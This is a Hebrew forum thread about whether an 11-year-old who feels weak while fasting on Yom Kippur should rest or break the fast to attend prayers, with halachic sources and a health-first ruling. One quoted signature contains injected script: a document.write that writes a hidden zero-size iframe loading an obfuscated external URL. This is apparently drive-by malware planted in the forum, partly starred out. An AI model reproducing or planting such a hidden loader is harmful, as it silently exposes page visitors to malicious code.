| נשלח ב-13/10/2016 06:51 |
 |
| |
העדפה בענין "גיל חינוך" ביום כיפור
נשאלה שאלה אצלנו:
ילד בגיל 11 הצם מדין חינוך ובשעה 16:00 חש חולשה.
יש אפשרות שיכנס למיטה עד סוף הצום - וזה מה שצריך לעשות מבוגר. אז מדין חינוך יש להראות לו לנהוג כך.
או שיש להציע לו לשבור הצום, כי אולי החינוך הוא גם לשעות, אבל שיהא בתפילה עם כולם ויתחנך למנחה ולנעילה?
|
|
|
|
| נשלח ב-13/10/2016 09:09 |
|
| |
שרפ היקר
ברוך השב!
(לפסק ההלכה ראו בסוף למי שאינו רוצה לקרוא הכל.)
הבאת שאלה מעניינת, לא רק בשל התוכן הפרטי והמסויים שלה, אלא בגלל שיש בה צד של פיקוח נפש שיש להזהיר אודותיו. וגם בגלל שהיא דוגמא כיצד יש לבחון ולפסוק בשאלות שאינן כתובות במפורש במקורות.
רקע:
מן התורה יש להתענות כלומר לצום ולא לאכול ולא לשתות במשך יום הכיפורים.
בקטנים יש חובת חינוך. מרגילים אותם לנהוג כגדולים. יש מקום לדון בשאלה החשובה מהו חינוך, מה מטרתו וכיצד הוא מושג. וכדי לענות על השאלה יש לברר את הנושאים האלו. אולם לצרכנו בתחילת העיון בינתים די לנו בסיכומו של הרמב"ם.
הלכה י
קטן בן תשע שנים ובן עשר שנים מחנכין אותו לשעות, כיצד היה רגיל לאכול בשתי שעות ביום מאכילין אותו בשלש, היה רגיל בשלש מאכילין אותו בארבע, לפי כח הבן מוסיפין לענותו בשעות, בן אחת עשרה שנה בין זכר בין נקבה מתענה ומשלים מדברי סופרים כדי לחנכו במצות.
הלכה יא
בת שתים עשרה שנה ויום אחד ובן שלש עשרה שנה ויום אחד שהביאו שתי שערות הרי הן כגדולים לכל המצות ומשלימין מן התורה, אבל אם לא הביאו שתי שערות עדיין קטנים הן ואינם משלימין אלא מדברי סופרים, קטן שהוא פחות מבן תשע אין מענין אותו ביום הכפורים כדי שלא יבא לידי סכנה.
(רמב"ם הלכות שביתת עשור פרק ב)
כלומר, יש הדין הוא לחייב את מי שעדיין אינו בן מצוות אך קרוב לגיל בצום מלא.
ובגדול, כפי שכתב השואל, עדיף לנוח ולא ללכת לבית הכנסת כדי שיוכל הגדול להמשיך בצום, שזה, צום, הוא חוב מן התורה, ואילו תפילת נעילה במנין היא, לכל היותר, חיוב דרבנן.
מעתה, האם דין קטן בן 11 כדין גדול, שהרי זה החינוך שלו, לנהוג כמו גדול בכל עד כמה שזה אפשרי. או שמא הרושם מתפילה אחרונה של יום עדיף.
איני יודע לענות על שאלה זו לפי המקורות בלי לעיין עוד. אבל אני מבקש לשנות את הנחות היסוד.
השואל מניח כי השאלה מה עדיף, לנוח בבית כדי לצום או לשתות לשיעורין כדי להגיע לבית הכנסת, היא שאלה בגדרי חינוך. מה הדוגמא שיש לתת לקטן, שינהג בכל כמו גדול, שהרי גדול שחש לא בטוב גם כן עדיף שיוותר על בית הכנסת ויישאר במיטה, או שאפשר להשקותו (פחות מכשיעור) לשעות (אם אין די בזה אז הוא חייב לשתות ללא מיגבלה, כמוהו כגדול החש רע והוא בסיכון). הרווח הוא שאז הוא יהיה בנעילה בבית הכנסת, תפילה שנחרטת בנפש.
יש סוגיות העוסקות בשאלות של חינוך, והיה ראוי לעסוק בהן, אלא שלשם כך עלי להקדיש זמן לבירור שאינו בידי. אבל קל לענות על השאלה המסויימת הזו. זאת מפני שיש לחשוש בקטן זה שאסור לו להמשיך לצום. זו לא שאלה של חינוך אלא שאלה של שלום הילד ובריאותו.
ראה נא את דברי אחד מחשובי האחרונים:
ביום הכפורים, פחות מבן ט' שנים שלמים, אין מחנכין כלל...
ואפילו אם רוצה להחמיר ולהתענות, מוחין בידו, אפילו הוא בריא וחזק.
ומבן ט' שנים שלימות, מחנכין אותו לשעות, שיתענה שעה אחת יותר ממה שרגיל לאכול בכל יום. ולפי כח הבן, מחנכין אותו יותר לשעות.
בן י"א שנים שלימים בין לזכר או לנקבה, אם הם בריאים וחזקים, משלימין מדרבנן.
אבל בכחושים ואינם חזקים- אין משלימין כלל
(חיי אדם חלק א כלל סו)
פסק (לדעת הכותב):
לדעתי, לפי המתואר בשאלה, נראה שקטן זה לפי תגובתו לצום הריהו בכלל "כחוש ואינו חזק" ולכן אסור לו להשלים. ולכן עליו לשתות.
ולא רק לשתות פחות מכשיעור אלא לשתות כרגיל. שהרי יש להיזהר בפיקוח נפש יותר מאשר בחובת הצום.
ויש לומר לו, כפי שהיינו אומרים לגדול: "המצוה שלך כרגע היא לשתות!"
ואז, לאחר ששתה ואולי אף אכל ונח והתאושש, אפשר כמובן לשלוח אותו לתפילה בבית הכנסת.
וחשוב מאד לומר לו ולהסביר לו עד שיקבל זאת ולא בכפיה (או לא רק בכפיה) אלא מתוך הבנה, שבדורות האחרונים ירדה חולשה לעולם, ואם יש נער בגילו שמתקשה לצום, אז החובה היא לשתות ולאכול, והרי התענית שלו עד לרגע הזה הריהי רצויה ואהובה לפני השם, ומכאן ואילך שתייתו ואכילתו היא האהובה לפני השם. וגם זה חינוך גדול.
בברכת רפואה שלמה ושנה טובה
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-13/10/2016 22:28 |
|
| |
היה היה צדיק וחסיד שהתגורר באחת מערינו יצ"ו, שבכל פעם שהגיע גבאי צדקה לדלתו, היה קורא לבנו הקטן ונותן בידו מטבע למען יתנה לעני.
ויגדל הילד, ובכל פעם שהתבקש לתת צדקה, סירב. שאלו אותו מדוע.
הסביר: אבא שלי חינך אותי לחנך, לא חינך אותי לתת צדקה - אף פעם לא ראיתי אותו נותן צדקה.
השאלה אם אתה רוצה שהבן שלך יתחנך לקיים את ההלכה, או שיתחנך לעגל את ההלכה בשביל חוויות רוחניות.
מצד שני, אתה מכיר את זה שבישיבות אומרים - עדיף להתפלל ביחידות בישיבה ולא במנין בחוץ? אז זהו.
תוקן על ידי איה_האמת ב- 13/10/2016 22:28:26
|
|
|
|
| נשלח ב-14/10/2016 00:07 |
|
| |
| איה_האמת כתב: |  |
השאלה אם אתה רוצה שהבן שלך יתחנך לקיים את ההלכה, או שיתחנך לעגל את ההלכה בשביל חוויות רוחניות.
|
|
האם אתה רוצה לחנך להאמין, או לעגל את האמונה עבור חוויות שכליות?
|
|
|
|
| נשלח ב-14/10/2016 02:13 |
|
| |
| אליקים7241 כתב: | |
השאלה אם אתה רוצה שהבן שלך יתחנך לקיים את ההלכה, או שיתחנך לעגל את ההלכה בשביל חוויות רוחניות.
האם אתה רוצה לחנך להאמין, או לעגל את האמונה עבור חוויות שכליות? |
|
להאמין כמובן, מה פתאום לחשוב עם השכל. רק מחפש בינתיים דת אמיתית לחנך עליה את בני. אם לא אמצא כזאת, אשאר בדת שעליה גודלתי
תוקן על ידי איה_האמת ב- 14/10/2016 02:14:48
|
|
|
|
| נשלח ב-14/10/2016 13:50 |
|
| |
למה להמשיך בדת שעליה גודלת? האם אתה מבקש לחשוב רק עם השכל העיוני ולא עם השכל המעשי? ואם אתה משתמש גם בשכל המעשי, מה פשר דבריך של "לא לעגל פינות בהלכה"?
|
|
|
|
| נשלח ב-14/10/2016 14:05 |
|
| |
| מיימוני כתב: | |
פסק (לדעת הכותב):
לדעתי, לפי המתואר בשאלה, נראה שקטן זה לפי תגובתו לצום הריהו בכלל "כחוש ואינו חזק" ולכן אסור לו להשלים. ולכן עליו לשתות.
ולא רק לשתות פחות מכשיעור אלא לשתות כרגיל. שהרי יש להיזהר בפיקוח נפש יותר מאשר בחובת הצום.
ויש לומר לו, כפי שהיינו אומרים לגדול: "המצוה שלך כרגע היא לשתות!"
ואז, לאחר ששתה ואולי אף אכל ונח והתאושש, אפשר כמובן לשלוח אותו לתפילה בבית הכנסת.
וחשוב מאד לומר לו ולהסביר לו עד שיקבל זאת ולא בכפיה (או לא רק בכפיה) אלא מתוך הבנה, שבדורות האחרונים ירדה חולשה לעולם, ואם יש נער בגילו שמתקשה לצום, אז החובה היא לשתות ולאכול, והרי התענית שלו עד לרגע הזה הריהי רצויה ואהובה לפני השם, ומכאן ואילך שתייתו ואכילתו היא האהובה לפני השם. וגם זה חינוך גדול.
בברכת רפואה שלמה ושנה טובה
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מימוני:
האמת היא שהקטן בסוף צם את כל הצום (כולל הליכה למנחה ונעילה), וזה לאחר שצם גם בצום גדליה עד הסוף למרות שהיה בבית הספר אך לא הלך למנחה. כך שח"ו לא היה מדובר בחולשה מיוחדת. אולם באותו הרגע ששאלנו אותו לפני מנחה והוא אמר שלא במיטבו דהיינו צמא (אני מניח שכך מרגישים אנשים רבים בשעה זו וללא חשש פיקוח נפש), עלתה השאלה האם רצוי שיכנס לנוח במיטה עד הבדלה או שישבור הצום ויבוא לבית הכנסת.
זה שגילו 11 ויש ענין בגיל זה לחנך לצום יום שלם, העלה את שאלת העדיפות בחינוך.
|
|
|
|
|
| נשלח ב-16/10/2016 00:45 |
|
| |
שרפ היקר
תודה על התיקון.
אני כתבתי לפי המידע שהיה בידי באותו זמן, כלומר לפי שאלתך. ללא מידע נוסף, כך הייתי מורה לכל אחד ואחד.
אם אתה מכיר את הילד, ויודע שאין זו אלא חולשה של מה שבכך, אז אכן יש מקום לשאול. ואפשר שאני מחמיר מדי כשאני כותב שצריך להשקותו.
עד כמה יש לחוש לחולשה (במיוחד אצל ילדים) איני יודע. צריך לשאול את המומחה, כלומר רופא ואולי רופא ילדים.
ועל כל פנים נראה שאם הנידון הוא רק משום חינוך, אז חינוך למצוה עדיף. ולכן ימשיך לצום כשהוא נח בבית. אבל איני אומר שזה מה שצריך לעשות. צריך קודם כל לבדוק שהוא מסוגל להמשיך לצום, ורק אז להשאיר אותו לנוח, ושמא עם עוד מישהו ולא לבד.
משל לשאלתך הוא מה ששאלו לגבי מי שאין לו שופר ואינו יודע להתפלל (כגון בימי התלמוד שלא היו סידורים אבל גם אחר כך). יש לו שתי ערים, באחת שופר, באחרת בעל תפילה ומנין. לאן ילך בראש השנה? התשובה היא שילך לשמוע קול שופר שזה מן התורה ואילו תפילת ראש השנה אינה אלא דרבנן. ודון מכאן לשאלתך.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-16/10/2016 09:37 |
|
| |
| שרפ כתב: | | נשאלה שאלה אצלנו:
ילד בגיל 11 הצם מדין חינוך ובשעה 16:00 חש חולשה.
יש אפשרות שיכנס למיטה עד סוף הצום - וזה מה שצריך לעשות מבוגר. אז מדין חינוך יש להראות לו לנהוג כך.
או שיש להציע לו לשבור הצום, כי אולי החינוך הוא גם לשעות, אבל שיהא בתפילה עם כולם ויתחנך למנחה ולנעילה? |
|
ו הֲלוֹא זֶה, צוֹם אֶבְחָרֵהוּפַּתֵּחַ חַרְצֻבּוֹת רֶשַׁע, הַתֵּר אֲגֻדּוֹת מוֹטָה; וְשַׁלַּח רְצוּצִים חָפְשִׁים, וְכָל-מוֹטָה תְּנַתֵּקוּ. ז הֲלוֹא פָרֹס לָרָעֵב לַחְמֶךָ, וַעֲנִיִּים מְרוּדִים תָּבִיא בָיִת: כִּי-תִרְאֶה עָרֹם וְכִסִּיתוֹ, וּמִבְּשָׂרְךָ לֹא תִתְעַלָּם.
|
|
|
|
|
